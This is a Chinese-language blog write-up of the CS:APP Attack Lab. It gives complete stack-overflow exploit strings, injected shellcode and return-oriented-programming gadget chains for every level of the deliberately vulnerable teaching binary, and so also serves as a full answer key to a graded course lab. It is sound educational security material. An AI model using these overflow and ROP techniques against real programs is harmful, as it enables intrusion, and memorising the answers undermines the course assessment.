本文首發(fā)于我的博客
Attack Lab
實(shí)驗(yàn)代碼見GitHub
簡介
Attack Lab
的內(nèi)容針對(duì)的是CS-APP
中第三章中關(guān)于程序安全性描述中的棧溢出攻擊。在這個(gè)Lab
中,我們需要針對(duì)不同的目的編寫攻擊字符串來填充一個(gè)有漏洞的程序的棧來達(dá)到執(zhí)行攻擊代碼的目的,攻擊方式分為代碼注入攻擊與返回導(dǎo)向編程攻擊。本實(shí)驗(yàn)也是對(duì)舊版本中IA32
編寫的Buffer Lab
的替代。
我們可以從CMU
的lab
主頁來獲取自學(xué)者版本與實(shí)驗(yàn)講義(Writeup),講義中包含了必要的提示、建議與被禁止的操作,從這個(gè)lab
開始之后的lab
對(duì)講義中內(nèi)容的依賴還是很強(qiáng)的。
特別提示 本
lab
的自學(xué)者版本需要在運(yùn)行程序時(shí)加上-q
參數(shù)來避免程序向不存在的評(píng)分服務(wù)器提交我們的答案導(dǎo)致報(bào)錯(cuò)
前置
講義中首先給我們展示了導(dǎo)致程序漏洞的關(guān)鍵:getbuf
函數(shù)。
unsigned getbuf()
{
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
getbuf
函數(shù)在棧中申請了一塊BUFFER_SIZE
大小的空間,然后利用這塊空間首地址作為Gets
函數(shù)的參數(shù)來從標(biāo)準(zhǔn)輸入流中讀取字符。由于沒有對(duì)讀入字符數(shù)量的檢查,我們可以通過提供一個(gè)超過BUFFER_SIZE
的字符串來向getbuf
的棧幀之外寫入數(shù)據(jù)。
在代碼注入攻擊中就是利用函數(shù)返回時(shí)RET
指令會(huì)將調(diào)用方在棧中存放的返回地址讀入IP
中,執(zhí)行該地址指向的代碼。棧溢出后,我們可以改寫這個(gè)返回地址,指向我們同樣存放在棧中的指令,以達(dá)到攻擊的目的。
第一部分:代碼注入攻擊
Level1
在這個(gè)等級(jí)中,我們不需要注入任何攻擊代碼,只需要更改getbuf
函數(shù)的返回地址執(zhí)行指定的函數(shù)touch1
(該函數(shù)已經(jīng)存在于程序中)。
那么我們需要做的就是將棧中存放返回地址的位置改為touch1
函數(shù)的入口地址,問題在于我們?nèi)绾螌⒌刂肪_地寫入到原來的地址的位置。
講義給出了getbuf
的調(diào)用函數(shù):
void test()
{
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
如果攻擊成功,我們不會(huì)執(zhí)行到第五行,而是跳轉(zhuǎn)到touch1
中執(zhí)行:
void touch1()
{
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
輸出上面的字符串代表我們攻擊成功。
下面我們利用objdump -d
命令將程序反匯編來查看getbuf
函數(shù)的行為。
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
代碼比較簡單,在第2行中將rsp
減了0x28,申請了一塊28字節(jié)的空間,第3行將rsp
賦給rdi
就是空間的首地址,然后調(diào)用了Gets
函數(shù),rdi
就是它的參數(shù)。到這里我們可以確定BUFFER_SIZE
的大小為0x28(自學(xué)講義中這個(gè)值是固定的,但是真正的實(shí)驗(yàn)中這個(gè)值是由服務(wù)器生成的)。換句話說,在0x28字節(jié)的棧被Gets
函數(shù)寫滿之后,多出來的字符會(huì)被寫入getbuf
函數(shù)的棧外。我們用圖來說明棧的結(jié)構(gòu):
下面是低地址,上面是高地址,在getbuf
函數(shù)申請的0x28字節(jié)內(nèi)存之外的8個(gè)字節(jié)存放的就是test
函數(shù)call
指令后下一條指令的地址。
現(xiàn)在我們可以知道,我們需要用0x28字節(jié)來將棧填滿,再寫入touch1
函數(shù)的入口地址,在getbuf
函數(shù)執(zhí)行到ret
指令的時(shí)候就會(huì)返回到touch1
中執(zhí)行。
下面就要利用官方提供的hex2raw
程序來幫助我們生成攻擊字符串,這個(gè)程序?qū)⒁钥瞻鬃址糸_表示的字節(jié)轉(zhuǎn)換成真正的二進(jìn)制字節(jié),注意這個(gè)程序只是原樣地轉(zhuǎn)換文件中的字符,所以字節(jié)序的問題是我們應(yīng)該考慮的。
最終的答案如下:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
可以看到前0x28個(gè)字節(jié)都使用0x00來填充,然后在溢出的8個(gè)字節(jié)中寫入了touch1
的首地址0x4017c0
,注意字節(jié)序就可以了。
Level 2
這個(gè)等級(jí)中我們同樣需要跳轉(zhuǎn)到指定的函數(shù)touch2
中,但是想要通過touch2
需要我們進(jìn)行一些操作,講義中給出了touch2
的代碼:
void touch2(unsigned val) {
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
這里cookie
是服務(wù)器給我們的一個(gè)數(shù)值,存放在cookie.txt
文件中,自學(xué)者材料中的這個(gè)值應(yīng)該都是一樣的。
可以看到touch2
擁有一個(gè)參數(shù),只有這個(gè)參數(shù)與cookie
的值相等才可以通過這一等級(jí)。所以我們的目標(biāo)就是讓程序去執(zhí)行我們的代碼,設(shè)置這個(gè)參數(shù)的值,再調(diào)用touch2
完成攻擊。
首先要注意的是touch2
的第一個(gè)參數(shù)存放在寄存器rdi
中,我們就是要設(shè)置這個(gè)寄存器的值為cookie
。
那么如何讓程序去執(zhí)行我們的代碼呢?既然我們可以向棧中寫入任意內(nèi)容并且可以設(shè)置返回時(shí)跳轉(zhuǎn)到的地址,那么我們就可以通過在棧中寫入指令,再令從getbuf
函數(shù)返回的地址為我們棧中指令的首地址,在指令中執(zhí)行ret
進(jìn)行第二次返回,返回到touch2
函數(shù),就可以實(shí)現(xiàn)我們的目的。
所以我決定將指令寫入到棧地址的最低處,然后在溢出后將地址設(shè)置為這個(gè)棧地址。我們能完成這個(gè)攻擊的前提是講義中已經(jīng)告訴我們這個(gè)具有漏洞的程序在運(yùn)行時(shí)的棧地址是固定的,不會(huì)因運(yùn)行多次而改變,并且這個(gè)程序允許執(zhí)行棧中的代碼。
我們利用gdb
在運(yùn)行時(shí)查看棧地址:
停在getbuf
的這里,然后查看rsp
指向的地址:
可以看到首地址為0x5561dc78
,順便看到第6行也就是0x28個(gè)字節(jié)之后存放的原返回地址。
由于我們需要在注入的代碼中再次返回,就需要將二次返回的地址同樣存放在棧中,這里為了避免與我們注入的代碼重疊,我選擇將touch2
地址放在getbuf
函數(shù)棧的最后8字節(jié)中。
下面就要生成攻擊字符串了,首先我們需要生成攻擊代碼。我們先將攻擊代碼用匯編指令的形式寫出來:
movq $0x59b997fa,%rdi # rdi = cookie
movq $0x5561dc98,%rsp # 將rsp設(shè)為存放在棧中的touch2地址的地址
ret # 讀取rsp指向的地址并跳轉(zhuǎn)
下面利用gcc -c
命令將匯編語句編譯成機(jī)器碼,再objdump -d
生成的文件就可以間接地看到最終的機(jī)器碼。
將指令的機(jī)器碼作為我們攻擊字符串的開頭,touch2
的地址放在棧中第0x20-0x28位置,將棧的首地址放在棧外的8個(gè)字節(jié),構(gòu)成我們的攻擊字符串:
48 c7 c7 fa 97 b9 59 48
c7 c4 98 dc 61 55 c3 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ec 17 40 00 00 00 00 00
78 dc 61 55 00 00 00 00
Level 3
該等級(jí)同樣讓我們跳轉(zhuǎn)到touch3
函數(shù)中,不過touch3
函數(shù)判斷有所不同:
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval) {
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval) {
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
仔細(xì)閱讀上面的代碼,我們需要傳入touch3
的參數(shù)是一個(gè)字符串的首地址,這個(gè)地址指向的字符串需要與cookie
的字符串表示相同。這里cookie
的字符串表示是cookie
:0x59b997fa
的ASCII
表示的字符串:35 39 62 39 39 37 66 61 00
。
所以我們需要做的是將這串字符串放入棧中,并且將rdi
的值置為字符串的首地址,再進(jìn)行與上步類似的二次返回操作。
這里我們需要好好考慮目標(biāo)字符串在棧中的位置,下面是最終結(jié)果中的棧結(jié)構(gòu),先放出來便于講解。
如果目標(biāo)字符串存放的位置比touch3
存放地址更低,在最終字符串對(duì)比的時(shí)候會(huì)發(fā)現(xiàn)rdi
指向地址的內(nèi)容發(fā)生了改變。分析原因,我們可以查看從getbuf
返回到字符串比對(duì)過程中執(zhí)行的指令:
00000000004018fa <touch3>:
4018fa: 53 push %rbx
.
.
.
401911: e8 36 ff ff ff callq 40184c <hexmatch>
000000000040184c <hexmatch>:
40184c: 41 54 push %r12
40184e: 55 push %rbp
40184f: 53 push %rbx
上面列出的這部分指令都會(huì)向棧中壓入新的內(nèi)容,由于棧向下增長,而rsp
一開始的位置在touch3
地址的下一個(gè)位置,壓入的新內(nèi)容會(huì)覆蓋touch3
地址以下的內(nèi)容,如果把目標(biāo)字符串放在這部分會(huì)導(dǎo)致內(nèi)容在比較之前就被覆蓋。
知道棧中應(yīng)該存放的內(nèi)容的結(jié)構(gòu),攻擊字符串的編寫就不再困難了:
48 c7 c7 90 dc 61 55 48 # mov $0x5561dc90,%rdi mov $0x5561dc88,%rsp ret 為寄存器賦值并返回
c7 c4 88 dc 61 55 c3 00
fa 18 40 00 00 00 00 00 # touch3地址
35 39 62 39 39 37 66 61 # 目標(biāo)字符串
00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00 # 注入指令首地址
第二部分:返回導(dǎo)向編程攻擊
我們在第二部分中需要解決的同樣是第一部分的后兩個(gè)問題,只不過我們要采取不同的方式來進(jìn)行攻擊。
為什么我們之前采取的代碼注入的攻擊手段無法在這個(gè)程序中起作用呢?這是國因?yàn)檫@個(gè)程序?qū)Υa注入攻擊采取了兩種防護(hù)方式:
- 棧隨機(jī)化,使得程序每次運(yùn)行時(shí)棧的地址都不相同,我們無法得知我們注入的攻擊代碼的地址,也無法在攻擊代碼中硬編碼棧中的地址。
- 標(biāo)記內(nèi)存中的棧段為不可執(zhí)行,這意味著注入在棧中的代碼無法被程序執(zhí)行。
盡管這兩種手段有效地避免了代碼注入攻擊,但是我們?nèi)匀豢梢哉业椒绞阶尦绦驁?zhí)行我們想要去執(zhí)行的指令。
攻擊方式
現(xiàn)在我們無法使用棧來存放代碼,但是我們?nèi)钥梢栽O(shè)置棧中的內(nèi)容。不能注入代碼去執(zhí)行,我們還可以利用程序中原有的代碼,利用ret
指令跳轉(zhuǎn)的特性,去執(zhí)行程序中已經(jīng)存在的指令。具體的方式如下:
我們可以在程序的匯編代碼中找到這樣的代碼:
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq
這段代碼的本意是
void setval_210(unsigned *p)
{
*p = 3347663060U;
}
這樣一個(gè)函數(shù),但是通過觀察我們可以發(fā)現(xiàn),匯編代碼的最后部分:48 89 c7 c3
又可以代表
movq %rax, %rdi
ret
這兩條指令(指令的編碼可以見講義中的附錄)。
第1行的movq
指令可以作為攻擊代碼的一部分來使用,那么我們怎么去執(zhí)行這個(gè)代碼呢?我們知道這個(gè)函數(shù)的入口地址是0x400f15
,這個(gè)地址也是這條指令的地址。我們可以通過計(jì)算得出48 89 c7 c3
這條指令的首地址是0x400f18
,我們只要把這個(gè)地址存放在棧中,在執(zhí)行ret
指令的時(shí)候就會(huì)跳轉(zhuǎn)到這個(gè)地址,執(zhí)行48 89 c7 c3
編碼的指令。同時(shí),我們可以注意到這個(gè)指令的最后是c3
編碼的是ret
指令,利用這一點(diǎn),我們就可以把多個(gè)這樣的指令地址依次放在棧中,每次ret
之后就會(huì)去執(zhí)行棧中存放的下一個(gè)地址指向的指令,只要合理地放置這些地址,我們就可以執(zhí)行我們想要執(zhí)行的命令從而達(dá)到攻擊的目的。
這樣的一串以ret
結(jié)尾的指令,被稱為gadget
。我們要攻擊的程序中為我們設(shè)置了一個(gè)gadget_farm
,為我們提供了一系列這樣可以執(zhí)行的攻擊指令,同時(shí)我們也只被允許使用程序中start_farm
與end_farm
函數(shù)標(biāo)識(shí)之間的gadget
來構(gòu)建我們的攻擊字符串。
這種攻擊方式被稱為返回導(dǎo)向編程攻擊。
Level 2
目的與之前的Level 2
相同,我們需要為rdi
賦上cookie
值,再跳轉(zhuǎn)到touch2
函數(shù)執(zhí)行,跳轉(zhuǎn)到touch2
只需要將touch2
的入口地址放在最后一個(gè)gadget
之后,在它的ret
指令執(zhí)行之后就會(huì)返回到touch2
中。
下面就要利用已有的gadget
為rdi
賦上我們想要的值。這里我們要將一個(gè)特定的值寫入rdi
,但是我們只可以使用棧來存放這個(gè)數(shù)值,同時(shí)不知道棧的地址,這個(gè)時(shí)候我們可以想到使用pop
指令令這個(gè)值從棧中彈出到寄存器中。
查看gadget
中提供的我們可以執(zhí)行指令。發(fā)現(xiàn)
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
中最后的字節(jié)為58 90 c3
,這個(gè)三個(gè)字節(jié)分別編碼了三條指令:
popq %rax
nop
ret
這個(gè)nop
在這里當(dāng)然不影響,利用這個(gè)pop
指令我們就可以把棧中存放的內(nèi)容彈出到rax
中。接下來我們需要的是
movq %rax,%rdi
這條指令,如果沒有的話可以多傳幾次,正好我們發(fā)現(xiàn)了
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
中最后的字節(jié)48 89 c7 90 c3
編碼了這樣的指令。
我們分別計(jì)算這些需要執(zhí)行的gadget
的指令地址,寫成攻擊字符串:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 # 前0x28個(gè)字符填充0x00
ab 19 40 00 00 00 00 00 # popq %rax
fa 97 b9 59 00 00 00 00 # cookie (popq的目標(biāo))
a2 19 40 00 00 00 00 00 # movq %rax,%rdi
ec 17 40 00 00 00 00 00 # 返回到 touch2
Level 3
攻擊目標(biāo)與之前的Level 3
相同,需要將rdi
指向cookie
的字符串表示的首地址。
目標(biāo)字符串毫無疑問還是存放在棧中的,但是我們?nèi)绾卧跅5刂冯S機(jī)化的情況下去獲取我們放在棧中的字符串的首地址呢?
查看gadget_farm
中提供的gadget
后,我們可以發(fā)現(xiàn)可以執(zhí)行的命令中有
movq %rsp,%rax
ret
這樣一條,可以保存當(dāng)前的rsp
值,但是我們面臨一個(gè)問題,這條命令執(zhí)行時(shí)rsp
的值為下一個(gè)地址,如果下一個(gè)地址中存放了目標(biāo)字符串,那么命令就無法繼續(xù)執(zhí)行下去,也無法進(jìn)入touch3
函數(shù)了。
除此之外,似乎沒有別的gadget
可以幫助我們獲取rsp
的地址了。
我在這個(gè)地方卡了好幾個(gè)小時(shí),最后在別人的提示下才發(fā)現(xiàn)gadget_farm
中有這樣一個(gè)gadget
畫風(fēng)與其他的不太一樣:
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
這明明就是一個(gè)可以直接使用的函數(shù)!它的作用是將rdi
與rsi
中的值相加后存放在rax
中。
有了這個(gè),我們就可以把rsp
的值加上一個(gè)數(shù)偏移若干后表示存放目標(biāo)字符串的位置,就不會(huì)與需要執(zhí)行的指令沖突了。
同時(shí)還要注意的是,這里有些gadget
藏得比較隱蔽,講義中暗示我們有一些兩字節(jié)編碼的指令實(shí)際上沒有任何影響,它們之前的指令同樣也是可以使用的。
仔細(xì)找出所有可以執(zhí)行的指令并整理之后我得出了這樣一張圖:
目標(biāo)字符串存放的位置一定在touch3
地址之上(原因見前文)。
由于相加操作只能對(duì)rsi
與rdi
進(jìn)行,經(jīng)過觀察可以發(fā)現(xiàn)棧地址是一個(gè)8字節(jié)值,所以無法通過下面這條movl
組成的路來傳遞,但是我們的偏移值完全可以。所以我們的思路就定下了,把rsp
的值存放在rdi
中,把偏移量的值通過popq
指令從棧中取出放在esi
中,再利用add_xy
函數(shù)將它們相加的結(jié)果存放到rax
再轉(zhuǎn)移到rdi
中。這個(gè)偏移量是多少要等到我們的棧結(jié)構(gòu)出來之后才可以確定。
根據(jù)上面這些信息,我們可以把棧結(jié)構(gòu)示意出來:
標(biāo)注灰色的地方是我們計(jì)算偏移量的部分(從rsp
讀入時(shí)開始),可以計(jì)算出偏移量為4 x 8 = 32 = 0x20
,再依此計(jì)算各命令的地址、構(gòu)建出我們的攻擊字符串:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 # 前0x28個(gè)字符填充0x00
cc 19 40 00 00 00 00 00 # popq %rax
20 00 00 00 00 00 00 00 # 偏移量
42 1a 40 00 00 00 00 00 # movl %eax,%edx
69 1a 40 00 00 00 00 00 # movl %edx,%ecx
27 1a 40 00 00 00 00 00 # movl %ecx,%esi
06 1a 40 00 00 00 00 00 # movq %rsp,%rax
c5 19 40 00 00 00 00 00 # movq %rax,%rdi
d6 19 40 00 00 00 00 00 # add_xy
c5 19 40 00 00 00 00 00 # movq %rax,%rdi
fa 18 40 00 00 00 00 00 # touch3地址
35 39 62 39 39 37 66 61 # 目標(biāo)字符串
00 00 00 00 00 00 00 00
實(shí)驗(yàn)小結(jié)
Attack Lab
與之前的兩個(gè)實(shí)驗(yàn)相比還是比較簡單的,但是最后一個(gè)階段確實(shí)因?yàn)樽约旱挠^察不夠細(xì)致浪費(fèi)了大量的時(shí)間。也告訴我們不要受思維定勢的左右,一味地去尋找可以使用的gadget
而忽略了函數(shù)本身的作用。
這次實(shí)驗(yàn)加強(qiáng)了我對(duì)于函數(shù)調(diào)用棧,字節(jié)序,gdb
使用,匯編的理解。